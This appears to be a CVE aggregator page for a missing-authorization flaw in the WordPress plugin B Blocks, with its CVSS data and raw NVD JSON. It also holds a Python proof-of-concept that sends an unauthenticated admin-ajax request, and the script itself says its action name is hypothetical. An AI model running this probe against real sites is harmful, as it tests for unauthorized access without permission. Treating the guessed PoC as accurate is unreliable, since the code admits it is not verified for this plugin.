Security Vulnerability Report
中文
CVE-2026-32489 CVSS 6.5 MEDIUM

CVE-2026-32489

Published: 2026-03-25 17:17:00
Last Modified: 2026-04-24 16:35:20

Description

Missing Authorization vulnerability in bPlugins B Blocks b-blocks allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects B Blocks: from n/a through < 2.0.30.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

B Blocks < 2.0.30

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def check_vulnerability(target_url): """ PoC for CVE-2026-32489: Missing Authorization in B Blocks plugin. This script attempts to trigger an action without authentication. """ # The vulnerable endpoint is often an AJAX action in WordPress action_url = f"{target_url}/wp-admin/admin-ajax.php" # Example payload based on typical vulnerable plugin structures payload = { "action": "b_blocks_export_settings", # Hypothetical action name "security": "" # Often required but not checked in vulnerable versions } try: response = requests.post(action_url, data=payload, timeout=10) if response.status_code == 200 and "settings" in response.text.lower(): print("[+] Potential vulnerability detected!") print(f"[+] Response: {response.text[:100]}") return True else: print("[-] Target does not appear vulnerable or action name is incorrect.") return False except Exception as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": target = "http://example.com" # Replace with target check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32489", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:59.860", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in bPlugins B Blocks b-blocks allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects B Blocks: from n/a through < 2.0.30."}, {"lang": "es", "value": "Vulnerabilidad de Autorización Faltante en bPlugins B Blocks b-blocks permite la Explotación de Niveles de Seguridad de Control de Acceso Incorrectamente Configurados. Este problema afecta a B Blocks: desde n/a hasta &lt; 2.0.30."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/b-blocks/vulnerability/wordpress-b-blocks-plugin-2-0-30-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}